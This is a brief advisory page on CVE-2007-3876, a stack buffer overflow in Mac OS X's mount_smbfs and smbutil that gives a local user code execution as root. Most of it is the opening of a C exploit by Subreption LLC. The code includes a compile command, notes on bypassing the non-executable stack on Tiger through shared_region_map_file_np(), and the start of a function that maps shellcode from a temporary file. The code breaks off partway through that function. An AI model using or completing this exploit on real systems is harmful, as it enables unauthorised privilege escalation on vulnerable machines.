Apple Mac OS X SMB Vulnerabilities (mount_smbfs and smbutil)
20 Dec. 2007
Summary
A stack buffer overflow issue exists in the code used by the mount_smbfs and smbutil applications to parse command line arguments, which may allow a local user to cause arbitrary code execution with system privileges.
Exploit:
/*
* Copyright (C) 2007-2008 Subreption LLC. All rights reserved.
* Visit http://blog.subreption.com for exploit development notes.
*
* References:
* CVE-2007-3876
* http://docs.info.apple.com/article.html?artnum=307179
* http://seclists.org/fulldisclosure/2007/Dec/0445.html
* http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=633
* http://phrack.org/issues.html?issue=64&id=11#article
* BID: http://www.securityfocus.com/bid/26926
*
*
* Notes:
* We bypass non-executable stack via shared_region_map_file_np(), as
* documented in a Phrack 64 article by nemo. This technique has been
* restricted in Leopard, but works perfectly in Tiger. Originally we
* developed a Ruby exploit but given the reliable nature of nemo's
* approach, we decided a C port would be the best option.
*
* Compile with: gcc -Wall mount_smbfs_root.c -o mount_smbfs_root
* Version: 1.0 (+tiger_x86)
*
* Distributed under the terms of the Subreption Open Source License v1.0
* http://static.subreption.com/public/documents/subreption-sosl-1.0.txt
*/
/* Unless we are forcing the exploit, exit the process */
void cond_exit(int exitcode) {
if (!force_exploit)
exit(exitcode);
}
/* map_shellcode(void) - returns a return address as unsigned long
* The returned address points to our shellcode, mapped from a temporary file on disk.
* Most of this code is based on nemo's original example in his Phrack 64 article.
* If the mapping exists, it will fail and require -f flag to be used for avoiding
* the exit() calls.
*/
unsigned long map_shellcode(void) {
int fd = -1;
unsigned long shellcodeaddr = 0x0;
struct _shared_region_mapping_np shmreg;
char tmpbuf[PAGE_SIZE];
char *tmpfname;
void *scptr = NULL;